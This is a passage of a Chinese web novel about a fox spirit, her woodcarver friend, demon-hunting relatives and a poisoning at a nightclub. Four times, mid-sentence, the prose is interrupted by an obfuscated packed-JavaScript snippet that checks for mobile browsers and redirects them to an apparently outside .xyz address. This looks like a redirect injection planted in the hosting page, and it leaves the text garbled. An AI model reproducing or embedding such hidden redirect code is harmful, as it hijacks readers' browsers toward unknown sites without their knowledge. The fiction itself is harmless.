“你是不是觉得狐妖没咬死你就不算害人？”周陈飞笑过以后，面无表情地盯着傻外甥发问。 周家宝沉默不语，心里却很认同，小柳确实不咬人呀。 “妖的存在对人本身就是一种威胁，妖气会损伤人体你知道吧？” 周家宝迟疑片刻，点点头，知道又能怎么样，妖气伤人只是老祖宗传下来的说法，他可没见过实例。 “让你去接近狐妖，是让你取得她的信任，探探她的实力，方便再次封印，不是让你和她做朋友。” 周家宝还想解释点什么，周陈飞却没给他说话的机会，大手一挥让他闭嘴。 “人妖殊途，待在妖身边时间越长损伤越大，轻则疾病缠身，重则短命归西，特别是……” 周家宝追问道：“特别是什么？” 特别是和妖有肌肤之亲，一旦发生了，便是种下了有违天道、不得好死的因，别说是狐妖这种五百多岁的大妖，即便是半妖也…… 周陈飞这些话没说出口，他知道外甥多半继承了他妈的恋爱脑，明知不可为而为之，这些话吓不住他，反而会起到反作用。 最好的方法就是把他和狐妖分开。 周陈飞本意是想让小外甥锻炼一下，如果狐妖真的很弱，直接让家宝尝试封印，可如今外甥烂泥扶不上墙的表现让他改变了想法。 于是他回复道：“特别是你现在已经脱离狐妖，这样也好，你的任务已经完成了，西南有个项目需要人盯着，你收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126329|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾明天出发。” “啊？”这一句大转折让周家宝摸不着头脑，“我的任务完成了吗？” “让你去打探消息，你不都打探回来了吗？狐妖不伤人，听起来除了爱和动物说话之外也没什么本事，身边的木雕师更是文弱，都好解决。” 周陈飞说着话已经打开电脑开始办公了，仿佛开始的愤怒不存在一样，又恢复了日理万机的忙碌状态。 周家宝明白舅舅这是在给自己台阶下，这个时候如果不乖乖听话，下场怕是会和三大爷家的儿子一样，不知道被封在哪个水泥桩里…… 好汉不吃眼前亏，周家宝承诺明天就出发，连连告退。 走出公司大门的周家宝松了口气，回到车里，他来来回回翻看着小柳发来的信息，最终还是下定决心回拨了电话。 反正又不会见面，只是作为朋友寒暄一下，应该没关系的。 “喂，小柳，你身体怎么样了？” 电话那头小柳跟蹦豆子一样叽里呱啦问了一堆问题—— “怎么不打招呼就走了？” “为什么不回消息，不接电话？” 周家宝听到她的声音不由得眼笑眉舒，既然不用监视狐妖了，换个角度想，那他和小柳岂不是不用站在对立面了？ “刚好有个项目很着急，没来得及打招呼，我来西南地区了，山里信号不好，刚收到消息，别生气哦。” 周家宝从小就是这样，爱吃肉食却见不得杀生，享受着周围人的服务却见不得身份低微者受苦，长着一副菩萨心肠，却也有着天真的残忍。 只要最终封印小柳的不是他，他就能以朋友的身份和小柳一直相处下去。 即便他和其他除妖师共享同一个姓氏，流着同样的血液，信奉相同的祖训。 “我不会生气的，等你回来了记得找我玩哦，我们在动物园拍的视频特别成功，涨了好多粉丝呢！你看到了吗？” 浑然不觉的小柳依旧跟她的朋友兴高采烈分享着开心事，周家宝自然说了很多夸赞的话，哄得小柳哈哈大笑。 …… 木雕店内。 木青杨突如其来的愤怒情绪吓了小柳一大跳。 她不明白为什么简简单单接了一通电话，店长就突然不开心了。 绵绵感知到了主人的情绪，一个劲地跟木青杨贴贴。 木青杨想解释，又有碍于月婷姐在，怕暴露小柳的身份，不敢多说。 他只能干巴巴地说：“周家宝好像不是什么好人，你得小心。” 月婷看看一脸茫然的小柳，又看看突然闹别扭的木青杨，噗嗤一声笑出声。 “谁都不是好人，就我们店长是好人，对吧小柳？”月婷挽着小柳的胳膊笑嘻嘻地问。 木青杨最见不得别人开自己玩笑，脸涨得通红，丢下一句“反正你要注意他，具体原因之后再说。”便抄起绵绵匆匆上了楼，像有什么要紧事。 月婷看他急匆匆的背影，笑嘻嘻地打趣小柳：“你的小男朋友吃醋咯～” “姐，你不要乱说，现在还不是男朋友呢……”小柳拽着月婷回了卧室。 书桌上的小兔子木雕整整齐齐排列着，小柳心想如果店长是男朋友的话，自己一定会很开心。 25. 礼物 月婷嗅到一丝八卦气息后就再也停不下来了，逼着小柳把这次西北行的细节又复述了一遍。 “这个周家宝怎么阴魂不散的呀，他一定是故意跟着你去的。”月婷笃定地说。 小柳却不这么认为，涉世未深的狐狸哪里懂得这些男男女女之间的弯弯绕绕，她坚信周家宝说去看项目就一定是去看项目。 “不过，你说他在建筑公司工作，还姓周，这倒让我想起个人……”月婷沉思片刻，犹豫着说。 “什么人呀？” 月婷打开好友列表，搜索“周”，一个账号跳了出来。 小柳凑过去一看他的头像，圆嘟嘟、毛茸茸的褐色小鸟，好熟悉，总觉得在哪儿见过…… “啊！这个人的账号我也有！” 小柳打开手机找出上次新加的客人，聊天框里对话还停留在小柳打招呼的界面，这么多天过去了，对方依然没有回复。 账号名叫“周陈飞”。 月婷越想越觉得不对劲，这一切应该不是巧合。 阔别十年又突然出现的云雀，同在建筑公司的两个周姓男人，重合的社交账号…… 月婷从钱夹里掏出周陈飞的名片，搜索“新川建设”，公司高管信息里赫然出现周陈飞和周家宝的名字。 小柳指着搜索界面，捂着嘴吃惊地问：“姐，这两个人认识！那他们怎么……那我们……” “等一下，我捋捋，有点乱……” 周陈飞和周家宝认识，既然都姓周，还在同一家公司，十有八九是亲戚。 周陈飞不仅去过月影一号，在这之前还在木雕店出现过，与此同时，周家宝和小柳成为朋友。 什么样的人会同时接近两只妖呢？难道是除妖师？ 月婷摇摇头，周陈飞自己就是云雀，绝不可能是除妖师，同样的周家宝也不可能是除妖师，因为周陈飞绝不会让自己身处危险之中。 这一通分析下来，依然毫无结论，月婷感觉自己脑子都不够用了。 她把周陈飞的身份告诉了小柳，并没有主动说起往事，毕竟是段旧情，而且当初是对方不告而别，月婷心里有疙瘩，不愿再提。 小柳心里也犯嘀咕，如果说两个周姓男人是亲戚的话，怎么会一个是妖一个是人呢？自己在周家宝身上可是一丁点妖气都没闻到。 难道已经有妖可以做到天衣无缝地化人形了吗？小柳想想周家宝平时的形象，实在没法把他跟大妖联系在一起。 “算了，不想了，不管他们接近我们是为了什么，大不了打一架，我不会输的！”月婷攥紧拳头坚定地说。 “不过主要是你啊小柳。”月婷捏捏小柳的脸，恨铁不成钢地说：“你真有五百多岁吗？连个子弹都挡不住？你的妖术都学到哪里去了？” 小柳一脸尴尬，像被班主任抓包上课走神的小学生。 没办法，别的妖都有爸爸妈妈教导，自己是天生地养，连化形都是自学成才，哪有学什么妖术啊？ “催眠会不会？” 小柳摇摇头。 “瞬间移动会不会？” 小柳摇摇头，又马上点点头。 “你演示一下我看看。” 小柳收拢灵魄附在小兔子木雕上，在几个小兔子身上跳来跳去。 月婷扶额……这哪里是瞬间移动啊，把自己的灵魄就这么大咧咧展示出来，还跳来跳去，生怕除妖师看不出来。 “你攻击一下那个毛绒玩具我看看。”月婷指着床上的毛绒大鸡腿说道。 小柳集中精神，凝聚灵识，用力一击，大鸡腿飞到空中重重跌落。 “好吧，蛮力用得还不错，你这纯是大力出奇迹啊，一点技巧都没有……” 这可让月婷犯了难，鸟有鸟术，狐有狐法，每种妖擅长的妖术不一样，她也不敢乱教，万一走火入魔，还不如不学。 “小柳，你一定要小心，你的身份除了我和青杨店长绝对不能让第三个人知道，你这点妖术碰到除妖师就是死路一条，明白了吗！” 面对苦口婆心的月婷，小柳眼睛湿润了，难得碰到这么关心自己的好姐姐，她一感动，抱住月婷眼泪喷涌而出。 “姐，我这次还受伤了，我的背上还有伤疤。”小柳委屈巴巴地给月婷展示背上奇怪的伤口。 月婷给她擦擦眼泪，看到小柳背上张牙舞爪的紫红色经络，变了脸色。 “怎么会这样，我们妖恢复能力很强的啊，就算中弹了也不应该……” 小柳闭着眼睛抽抽嗒嗒地靠着月婷，断断续续地说：“我也……不知道……不过不疼……” “好了好了，别哭了，你放心，肯定没事的，估计就是频繁使用妖术累着了，你要注意多多休息。” 月婷拍拍她的背，思忖片刻，有了主意。 她示意小柳起身，把手伸进自己领口，用力一拽，拔出一根长长的羽毛，塞进小柳手里。 小柳摸摸这根带着体温的羽毛，拿起来对着卧室吊灯一看，黑色的羽毛变得流光溢彩，炫目极了。 “这是我的飞羽，只有十根，上面有我的灵识，你一定要随身带着，最好放在心口处，必要时候它可以帮你挡住攻击。” 月婷接过飞羽，在小柳左心口处比划几下，调整到合适的位置，吹口气，飞羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126330|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失了，与此同时，小柳的胸前出现了一个小小的羽毛印记，像是一枚精致的小纹身。 “谢谢姐姐。”小柳给了月婷一个崇拜中带着浓浓感激之情的眼神。 月婷笑着捏捏她的脸。 两姐妹从赚钱聊到谈恋爱，你来我往地聊到夕阳西下，直到月婷要去店里开张了，才依依不舍地分开。 …… “开饭啦！” 好久没在家里开火了，趁着小柳和月婷姐在聊天，木青杨系着围裙在厨房忙活了好一阵，做了一桌好饭好菜。 月婷姐着急回店里，这一桌三人餐只能木青杨和小柳一起享用了。 一桌菜全是小柳爱吃的，左一个鸡腿又一个肉串，小柳腮帮子鼓鼓吃得不亦乐乎，家里的菜比饭店的还香。 今晚连绵绵都有加餐，蘑菇汤加各种肉块，绵绵边吃边哼哼唧唧，开心极了。 木青杨看小柳心情不错，试探性地说起了西北往事。 “那个，小柳，你是小狐狸这件事除了我还有谁知道？” 小柳吞下嘴里的饭，老实回答道：“月婷姐。” 木青杨看她一副理所当然的样子，气得拍了拍她的脑门，“这么重要的事情怎么能被别人知道！你和其他人不一样，这样很危险！你知不知道现在有神秘机构专门研究珍稀物种？” “哎呀！”小柳捂着脑门，不高兴地说：“月婷姐不是外人，她绝对安全的！她可是……” 不行，不能没有经过月婷姐同意就随便说出她的身份，小柳顿了顿，接着说道：“她可是我姐！” 木青杨扶额，好吧，你说是姐就是姐…… “那你知道，除了我和月婷姐，还有别人知道你的身份吗？” 小柳茫然地摇摇头，心想不会吧，自己一直都很小心谨慎地，不应该啊…… 木青杨也不再和她兜圈子，直截了当地说出了周家宝的名字，把当时在断崖边周家宝对自己说的话原原本本告诉小柳。 小柳心里咯噔一下，果然和月婷姐分析的一样，周家宝不是个简单的人物，原来自己早就暴露了，同样的，云雀肯定也知道自己的狐妖身份，这两个姓周的，到底想干什么？ 木青杨看小柳呆愣愣的，两只手夹着她的脸，转向自己，严肃地说：“所以周家宝一定是故意接近你，你不觉得遛狗路上碰到个狗皮膏药很奇怪吗？以后不要再和他来往了！真的要小心！” 小柳点点头，脸颊肉随着她的动作被挤了出来。 木青杨突然觉得自己有点反应过度，唰地一下收回手，清清嗓子说道：“你知道就好，快吃饭吧，菜都凉了……” 26. 眼界 出差一周回来，要做的事情很多，小柳先去看了王奶奶，和鹏哥、多宝打视频电话，又花两天时间帮着店长把积压已久的订单送了出去。 同城的订单送货上门，远途的打包发快递，忙忙碌碌，时间过得飞快。 在忙着木雕订单的空档，小柳还抽时间处理了视频账号后台的私信。 从救助多宝开始，再到动物园系列视频的爆火，账号粉丝一路狂飙，【青杨宠物木雕】已经坐拥五十多万粉丝了。 后台除了粉丝热情地打招呼，还有几个慕名而来的广告邀约，基本上都是一些猫粮狗粮之类的宠物用品，偶尔还有看重小柳形象，财大气粗的化妆品商家。 小柳和木青杨商量后，还是决定暂不接广，只是付费直播和定制木雕，两人就有得忙了，作为互联网新手，产出视频并植入广告对两人来讲难度太高，暂时没有时间也没有能力。 还有一类求助私信处理起来最耗费时间，小柳是个热心肠，总想着尽可能帮助粉丝解决问题，因此只要她能看到的问题，都会想办法回复。 其中有一条却让她疑惑不已，这条私信只有一句话：“我觉得我的宠物想要杀了我！” 乍一看像是恶作剧，但不知怎的，小柳一看到这条私信就心里不舒服，她进一步追问发生了什么事，可都过去两天了，对方还是没有回复，小柳只好暂时搁置。 重启直播也开展得很顺利，【南瓜小米周】依旧像没事人一样出现在小柳的直播间里，时不时打赏一笔，小柳看着周家宝的账号，心里五味杂陈。 他是坏人吗？ 小柳也在问自己，可如果他是坏人的话，为什么察觉不到一点敌意呢？ 小柳很想问问周家宝，却又担心打草惊蛇把事情搞砸。 真不知道是对方隐藏得太好还是自己太愚钝，事情没有进一步发展的情况下，小柳决定按兵不动，静观其变。 宠物沟通连线依旧千奇百怪，沟通多了，小柳发现有时候不仅仅是小动物脑回路与众不同，很多主人的想法也奇奇怪怪。 比如借口家里仓鼠生病逃避上班的社畜，遛狗不牵绳美其名曰放狗自由的大爷，执意要给长毛猫穿衣服扎小辫的铲屎官…… 小柳常常在想，人怎么这么奇怪啊？很多想法真的很奇葩…… 自从见识了直播间里纷繁复杂的人，小柳越发庆幸自己的恩人是个正常人，看木青杨越来越顺眼了。 不过月婷姐听了小柳对木青杨的评价，不屑地说：“这才哪儿到哪儿啊？你根本就没见过几个正常男人，姐带你去店里兜一圈你就知道了~” 深知自己见识短浅的小柳点头如捣蒜，跟月婷姐敲定了时间，决定晚上去她店里开开眼界。 …… 月影一号包间内。 小柳面对一排各式各样的男士，惊讶地合不拢嘴。 月婷挨个介绍过去，小伍、明泽、灵川、小志…… 这么多名字小柳根本记不住，只能记住一张张帅气的脸，有的温柔清纯，有的棱角分明，有的介于两者之间，小柳好奇地走上前去左看右看。 月婷笑着说：“你挑几个，让他们陪你聊聊天。” 小柳嘿嘿傻笑，这……聊什么呀，这些男生都好漂亮哦，小柳沉浸在美色里，一句话都说不出来。 平时觉得店长已经很漂亮了，和这些男生比起来，好像也就普普通通，月婷姐这是过得什么神仙生活呀，小柳害羞地捂着嘴，逃回月婷姐身边。 “小伍，等会儿萧晴该来了，你先去准备。” 包间里少了小伍，稍微让得了选择困难症的小柳轻松了一点。 她附在月婷姐耳边，害羞地说出两个名字。 月婷大大方方地叫明泽和灵川留下，一左一右坐在小柳身边，陪她喝果汁聊天，月婷自己则出去招待贵宾。 左一个阳光男孩，右一个温柔大哥哥，小柳头摇得跟拨浪鼓似的，一会儿看左一会儿看右。 好快乐哦，这哪里是月影一号，简直是头等仙境！ 小柳心想，幸亏店长不知道，要不然准得板着脸把自己拎回家去…… 可惜欢乐时光总是短暂，不知不觉已经快到午夜，电话铃声打断了明泽好听的歌声。 木青杨的电话一打过来，小柳像是做了什么见不得人的亏心事，一激灵从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126331|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦幻泡泡里醒了过来。 她着急地摆手，示意两位帅哥安静，接通了电话。 电话那头的木青杨略有不悦，提醒小柳要早点回家，明天还要早起工作，大概是觉得小柳回答得轻飘飘，又补充道明早起晚了就没饭吃！ 小柳本就有点心虚，一听木青杨这么说，连连保证马上回去。 直到木青杨挂了电话，小柳才长舒一口气。 “是您男朋友的电话吗？”明泽眨巴着大眼睛笑眯眯地问小柳。 小柳不好意思地回答：“以后应该是男朋友……”说完自己都害羞了。 “我得走了，有机会再见吧。” 梦幻泡泡终有消散的一刻，小柳在仙境和现实中做了选择，礼貌地和明泽、灵川告别，去找月婷姐。 刚出包间，小柳就在走廊里听到了月婷姐爽朗的笑，她顺着笑声走过去，发现月婷姐正靠在一间大包间门口。 “姐。”小柳走过去拽拽月婷姐的衣角。 月婷正和大客户应酬，见小柳也来了，顺势向包间里的姐姐们介绍道：“萧晴姐，这是我小妹，今天来玩的，那我就先走一步啊，得送小妹回家~” 包间里坐着好几个珠光宝气的大姐姐，据小柳观察，萧晴姐应该是中心人物，享受着众人的簇拥，刚刚打过照面的小伍正殷勤地给她倒酒。 萧晴姐脖子上带着一圈大珍珠，一看就价值不菲，大红色的口红衬得她格外明艳，丰腴的身形更是气场十足，短暂的一面便给小柳留下了很深刻的印象。 月婷牵着小柳往店门口走去，坏笑着问她玩得怎么样，小柳不好意思地笑笑。 眼看月婷要去开车，小柳惊讶道：“姐，你喝酒了不能开车！” “喝什么酒啊，那是葡萄汁。” “啊？姐你真是……”小柳心想月婷姐真有本事，好像什么事情都难不倒她，自己也要向她学习，这么自信这么帅气。 小柳正在店门口对着姐姐犯花痴，突然店里一片喧哗，小柳和月婷正欲查看怎么回事，却见小伍花容失色地狂奔出来，边跑边喊：“死人了！死人了！”还没跑到店门口，便身子一软倒在了走廊。 27. 尸体 昏暗的包间内，萧晴将酒杯微微倾斜，小伍立刻往空酒杯里倒满了洋酒。 小伍很不错，萧晴喜欢识相的男人，喜欢用金钱串成狗链，拴住他们，享受服务。 不过，最近有只不听话的狗让她很是伤心，她的年轻老公出轨了。 凌晨响起的消息提示音，遮掩的手和闪躲的眼神，逃不过一个敏感女人的直觉。 异常行为是从什么时候开始的呢？萧晴自己也搞不明白，毕竟她总是夜半归家。 萧晴眯着眼，细细端详起小伍，恍惚间透过小伍的瞳孔仿佛看到了李正宇的脸。 “姐，怎么啦？我的脸有什么不对吗？”小伍被她看得不好意思，摸摸自己的脸扭捏道。 萧晴笑出声，爽朗地说：“没有不对，脸长得真好看。”随即喝光了杯中酒。 李正宇也有一张好看的脸，拉良家下水，劝风尘从良，萧晴只是做了所有男人爱做的事，拯救一张好看的脸，甚至和他结了婚。 为什么要出轨呢？萧晴想不明白，也不愿意去想，因为她已经下定决心，今晚过后要让不听话的狗付出代价。 这对她来说不是什么难事，毕竟捻死李正宇的难度和捻灭烟头的难度差不多。 如果说李正宇带给萧晴的是失望，那么对于他的出轨对象，则更让萧晴愤怒，小宠物的三心二意和朋友的背叛相比起来根本不值一提。 萧晴有写日记的习惯，她喜欢翻看自己简短的当日心情，这项活动能极大地取悦一个自恋人士的心。 今天的日记与往常不同，满篇都是咒骂，她重重地写下一个女人的名字，发誓就在明天，报复将会如期而至。 她把日记本放进保险箱，又盘点了一遍自己的贵重资产，她可以保证如果离婚，李正宇什么都得不到，锁上保险箱出门，一如往常，萧晴来到了月影一号。 今天她是来和曾经的好朋友说再见的。 “萧晴姐，这是我小妹，今天来玩的，那我就先走一步啊，得送小妹回家~” 萧晴脸上挂着公式化的笑，冲月婷点点头，她希望月婷快点离开，因为如果再不走，她就要忍不住发火了，最后一晚，她不想把场面弄得太难看。 可情绪一点都不听话，捏着酒杯的指尖开始发白，像是有团火从胃里一路灼烧，一直烧到前额，身旁的女朋友陈宛蓉给她倒酒，可萧晴的手却控制不住开始发抖，杯子里的洋酒撒了大半。 一只无形的手扼住了她的咽喉，周围的空气渐渐被抽空，她像是只搁浅的鱼，无助地扑腾，直到身边的人都发现她的异样。 但是太晚了，她瞪着眼睛张大嘴，栽倒在小伍身上，在周围人的慌乱尖叫中停止了心跳。 小伍尖叫着冲出包间，萧晴失去倚靠，又倒在沙发上，据说听力是最后消失的感官之一，她在人生的最后时刻印证了这一点，她隐约听到走廊里有人在喊“死人了！死人了！” 可她已经死了，失去了处理声音的能力，这三个字对她来说已毫无意义。 月婷第一时间关了月影一号的大门，让同样不明所以的张领班把小男生们赶到大包间里，安抚他们的情绪。 跨过晕倒的小伍，逆着四散奔逃的客人，月婷快步走向萧晴姐的包间，只看一眼，她便知晓出事了，而且出了难以解决的大事。 小柳被月婷姐挡了个严严实实，好像看到萧晴倒在沙发上，失去了光彩的珍珠项链无力地垂着，勒着她的脖子，这场景只是一闪而过，小柳并不清楚发生了什么。 月婷转过身关好包间门，拨打110，她用颤抖的声音跟接线员说：“漪汾街南口15号，月影一号会所，有人死了。” 这是小柳狐生第一次亲历死亡，灵智未开时，有老狐狸会离开，但那时的她还没有死亡的概念，变成狐妖后，因为妖很难杀，即便被除妖师抓到也只是被关在暗无天日的地方，死亡一直离小柳很遥远。 “姐……”死亡像是一股浓烟，从包间门缝隙里钻出来，罩住了整个走廊，呛得小柳喘不过气，咽喉哽住，眼泪不自觉地流出来。 月婷点了一支烟，强迫自己深呼吸，呼出的烟雾和死亡的浓烟融为一体，她招呼小柳到自己身边，握住了她的手。 萧晴是她的朋友，月影一号正是背靠萧晴，才能顺利营业，月婷能对萧晴使出蛊惑之类的小花招，前提条件也是因为萧晴同样把她当成朋友，她们一直以来都互相欣赏着。 可如今，一直以来欣赏的姐姐就死在自己的店里，这到底是为什么？ 月婷燃尽了一支烟，眼中含着泪，沉默着等警察到来。 店开在市中心除了人流量大还有一项好处，警力充足治安有保障，警察来的很快，月婷扔掉烟蒂，牵着小柳找警察叔叔说明情况。 现场被封锁起来，晕倒的小伍被抬走，现场所有的人回警局配合调查。 月婷捏捏小柳的手，不好意思地说：“给店长打电话，让他去警局接你。”怎么偏偏今天叫小柳来店里呢，刚好遇到意外，月婷心里有点自责。 小柳听话地拨通了木青杨的电话。 …… 赵子龙前段时间在6.21大案的侦破中表现优秀，晋升为刑侦一队队长，赵队新官上任，不会放过任何一个案子，当他听接线员汇报月影一号有案情时，即便已经一天一夜没合眼，还是召集队员马不停蹄赶了过来。 包间里的灯全部打开，一切暴露在明亮的灯光下，萧晴刚死亡不久，现场很干净，赵队满是红血丝的眼睛一寸一寸搜寻着异常。 萧晴的结膜充血，瞳孔缩小，像是中毒身亡的表现，赵队催促法医行动起来。 如果是中毒，最值得怀疑的就是桌子上的洋酒，赵队命人把包间里的瓶瓶罐罐全部带回去交给检验科。 现场勘察完毕，赵队咒骂一句，撑着墙站起身，带队回警局连夜审讯。 …… “你和萧晴是什么关系？”赵队顶着一头乱发，面无表情地抬眼问月婷。 “我们是朋友，她经常来店里玩。”月婷握着双手，不自觉地绞着手指回答。 “平时有固定的人陪她吗？有固定爱喝的酒吗？”审讯室里另一个小女警问道。 月婷听出了画外音，酒有问题，可那酒因为萧晴爱喝，她专门在店里存了一批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126332|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，亲自经手的，怎么会有问题呢？ 赵队瞟了女警一眼，年轻小孩太着急了，他见月婷没说话，接着问：“今天陪她的有哪些人你知道吗？” “小伍，萧晴姐每次都让他陪着喝酒。”月婷停顿片刻，又补充道：“就是晕倒被你们抬走的那个，他应该是最先发现萧晴姐……出意外……的人。” “好，你现在还不能回家，毕竟是在你店里出的事，先在警局等我们通知。”赵队语气依旧平淡。 “明白，谢谢警官。”月婷尽可能表现得镇定，只要能为萧晴出份力，别说几个小时了，再久她也等得起，而且她清清白白开店，问心无愧，没什么好怕的。 两个审讯室连轴转，审讯进行得很快，配合着走廊及大堂监控，很快大部分无关紧要的客人和店里的员工就被排除了嫌疑。 “情况我们基本已经了解，你们可以回家了。”女警对着等候区的众人说。 木青杨拍拍昏昏欲睡的小柳，轻声说：“小柳醒醒，我们可以走了。” 她在半梦半醒间，满脑子都是萧晴那大颗的珍珠项链，珠子断了线，叮叮咚咚掉了一地，又渐渐沉入浓稠的血浆中，小柳低头看，自己的双脚也像掉落的珍珠渐渐沉下去，血浆中升起一张萧晴的血脸，她张开了嘴，反复念着“救救我”…… 木青杨见小柳一动不动，呼吸急促，头上全是汗珠，加大力度晃着她的肩膀，呼唤她的名字。 一声声呼喊将小柳拖出梦魇，她发现自己能动了，使劲一睁眼，醒了过来。 小柳大口大口的喘着粗气，木青杨抚着她的后背帮她顺气，给她擦着额头上的汗。 “店长，我看到萧晴了，她一直喊救命。”小柳带着哭腔，一双泪眼看着木青杨。 不管是人是妖，怕死是本能，直面死亡是一件特别不容易的事，他心疼地揽着小柳的肩膀说道：“我们回家吧。” “那月婷姐呢？她怎么还没出来？” 赵队办公室，部分检验报告递到了他手里，令人意外的是，看起来最有问题的洋酒没有检测出任何毒素。 出问题的不是洋酒而是萧晴的酒杯，整个酒杯内壁全是有毒成分，甚至在杯底还有沉淀。 哪只杯子被送进包间是随机的，所以下毒的人很有可能就待在包间里。 这样一来，陪酒的小伍，萧晴带来的一众朋友，进包间里打招呼并坐在萧晴身边喝了几杯的月婷嫌疑最大。 同时，警方已经联系上了萧晴的丈夫李正宇，他当天刚巧在隔壁市出差，正连夜赶回来配合警方调查，毕竟富婆死了，调查另一半是常规操作。 小柳终究还是没等到月婷姐，月婷暂时要待在警局等待新的证据、新的审讯。 …… 周陈飞是被六子的电话吵醒的。他看了眼表，凌晨三点，强压着烦躁接通了电话。 “周总，突发新闻，咱们关注的那个鸭店死人了！” “哪个鸭店？说清楚。”没头没脑的这是在说什么？周陈飞心里不悦，摸索着拧开床头灯，等眼睛适应了光线后坐起身。 “就是王月婷的店，月影一号！” 28. 嫌疑 “店长，你见过死人吗？”被子里露出个小脑袋，昏黄暖光台灯给小柳的瞳孔染上了一层暖色。 “见过……”木青杨坐在小柳床边，本想说点什么，但抬头看看挂钟，已是清晨五点，他欲言又止，伸手阖上小柳的眼睛，轻声说：“别多想，快睡觉吧。” 小柳一夜没睡也很困，但一闭上眼萧晴的血脸就会出现，一遍遍呼喊着“救救我”，看得小柳头皮发麻，而且月婷姐现在还被扣在警局，小柳很担心。 “我睡不着。”木青杨的手刚离开，小柳又睁开眼，指指自己的眼睛说：“我的眼睛累。” 不仅是眼睛累，脑子也累，心也累，背上的伤痕也累。 “眼睛累就把眼闭上。”他知道小柳因为在事故现场的匆匆一瞥无法入睡，再次伸手遮住她的眼说：“我在你旁边。”这次的手没有挪开。 店长的手像一块蒸腾着湿气的热毛巾，带着暖烘烘的安全感抚平小柳皱巴巴的思绪，小柳的呼吸渐渐平稳，她睡着了。 木青杨伴着她的呼吸声，坐在床边，思绪却回到很久以前，他见到死人的那一天。 那是他的外婆，癌症晚期，饱受病痛折磨，骨瘦如柴，像条干涸的鱼大口喘息，木青杨眼睁睁地看着外婆在病床上死去，嘶哑的呵气声萦绕在他耳边，如同小柳的梦魇。 和小柳一样，目睹死亡的他也曾有很长一段时间难以入睡，他坐在床边出神地想，如果那个时候有亲人在身边，有这样一只手遮住自己的眼睛，会不会好一点呢？ 不过，他很快停止了这样的假设，自己身边哪有什么亲人呢？即便有，所谓的亲人又怎会给予自己一只手。 木青杨从回忆中脱身，见小柳睡熟了，慢慢收回手，帮她掖了掖被角，轻手轻脚地退出卧室。 绵绵乖巧地趴在楼梯边，一副没睡醒的样子，抬头看看从小柳卧室出来的主人，木青杨抱起它上了楼。 又一个小时过去，随着木青杨的入睡，店里没了声响，彻底沉寂下来，天光大亮，周陈飞顶着大黑眼圈起床洗漱，被六子的电话吵醒后，他就再没睡着。 传闻月影一号的死者叫萧晴，据说死得不正常，似乎是被毒杀。 周陈飞对萧晴这个名字有印象，在某几次聚会时听别人提起过，她是个很有能量的女老板，做美业起家，又通过投资房地产颇赚了些钱。 不过萧晴的面容在他这里一片模糊，可能打过照面，但两人并没有交情，没想到人偏偏死在月婷店里，还是被毒杀。 直接从警局打探消息太困难，周陈飞想第一时间得到月婷的消息，而不是被动接收媒体报道。 他在通讯录里翻来覆去地找，拽出了一个名字，陆嘉睿，集团资助的第一批贫困学生中，她是为数不多考上大学的优等生，更重要的是，她是记者，周陈飞也是在浏览月影一号的报道时看到熟悉的名字才想起了她。 记者嘛，搜集信息是强项，不管她用什么手段，能从警局搞来消息就好。 周陈飞擦擦脸，看着镜子里略显憔悴的自己，拨通了陆嘉睿的电话。 …… 小柳这一觉睡了很长时间，中途有几次她有意识想起床，可身上的被子仿佛有千斤重，把她的身体压下去，压入昏睡的黑暗中。 等她再次睁眼时，刺眼的阳光从窗帘缝里射进来，一瞬间恍惚，她失去了对时间的感知。 这是几点了？她抬头看挂钟，已是午后两点，怎么睡了这么长时间还是这么累？ 她来不及观察自己身体的异样，一骨碌起身出了卧室，今天还没遛狗，王奶奶肯定等着急了，月婷姐也没消息，小柳的心咚咚直跳，这一觉可太耽误事儿了。 小柳抓起手机，慌慌张张跑出去，出了门刚跑没两步便远远看到木青杨牵着绵绵走过来。 “店长……” 木青杨快步走上前说：“怎么出来了，没看到我发的消息吗？” 小柳拿起手机一看，原来木青杨留了信息，叫她好好休息，遛狗、安抚王奶奶这些事情木青杨会去做。 